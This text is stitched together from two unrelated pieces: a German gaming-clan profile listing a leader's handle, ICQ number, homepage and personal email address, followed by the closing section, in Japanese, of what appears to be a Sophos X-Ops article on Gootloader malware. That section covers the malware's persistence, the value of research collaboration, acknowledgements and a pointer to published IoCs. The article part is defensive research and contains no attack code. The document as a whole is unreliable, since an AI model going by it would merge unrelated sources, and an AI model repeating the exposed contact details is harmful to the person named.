Ort (Hauptsitz des Clans):    Deutschlandweit
Leader:   pr0nb1tch
ICQ#:     256558686
Homepage: http://www.my-game.biz
Anzahl der Spieler:    10
Art der Spielmodi:     Leaguez
Clan-Profil:    Semi-Profi-Clan
Clan sucht neue Spieler:      Ja
Leader: kevin.goe@online.de

オープンソースインテリジェンスからわかること

マルウェアによる感染は、研究者による調査および動作方法の解析をできるだけ難しくするように設計されているようであるため、Gootloader は Web 上で最も悪質で研究しにくい脅威の 1 つです。

しかし、オンライン解析ツールの普及により、マルウェアのコードのほとんどが他者の WordPress サーバーの中に存在し、実行されている場合でも、マルウェアがどのように動作し、ローダーがどのようにペイロードを配信するのかを知る機会が豊富に提供されています。多くのアナリストや研究者によってアップロードされたリソースのおかげで、マルウェアがどのように動作しているのか、ほぼ完全に把握することに成功しました。

感染に用いられる PHP スクリプト、埋め込み JavaScript コンポーネント、およびダウンロード可能な JScript ペイロードは現在では十分に理解されていますが、このマルウェアは、最初に発見されてから 6 年以上が経過した現在も、依然として影響を与え続けています。ただ幸いなことに、このマルウェアの開発ペースは比較的緩やかで、「母船」サーバーのホスティングも比較的安定しているため、静的および動的な検出は引き続き有効です。

最後に、共同研究プロジェクトについて少し言及しておきます。マルウェア解析やセキュリティの研究コミュニティとの関係を構築し、維持することは重要です。本プロジェクトでは、複数名の研究者から協力を得ましたが、そのうちの何人かは謝意を表明されることを望まれませんでした。Sophos X-Ops からのアドバイスは以下の通りです。セキュリティ研究をするのであれば、その成果の共有をためらわないでください。業界全体の同僚との協力に投資した努力は、やがて情報が必要になったときに報われるはずです。何人もの方々からいただいたご支援とご協力に感謝いたします。

謝辞

Sophos X-Ops は、Gootloader/Gootkit の悪意のある SEO のさまざまな側面についてアドバイスをいただいた、SEO の専門家 Marv Ahlstrom 氏の貢献に感謝します。また、@sS55752750@SquiblydooBlog、および @GootLoaderSites というハンドルネームを使用する匿名研究者の方々にも謝意を表します。さらに、ソフォスは Sucuri および Rich Infante が以前発表した研究を認識し、感謝しています。本記事の分析には、X-Ops の研究者 Andrew Brandt も貢献しました。

IoC(セキュリティ侵害の痕跡)

本記事で言及したハッシュとその他の IoC は、SophosLabs の Github で公開されています。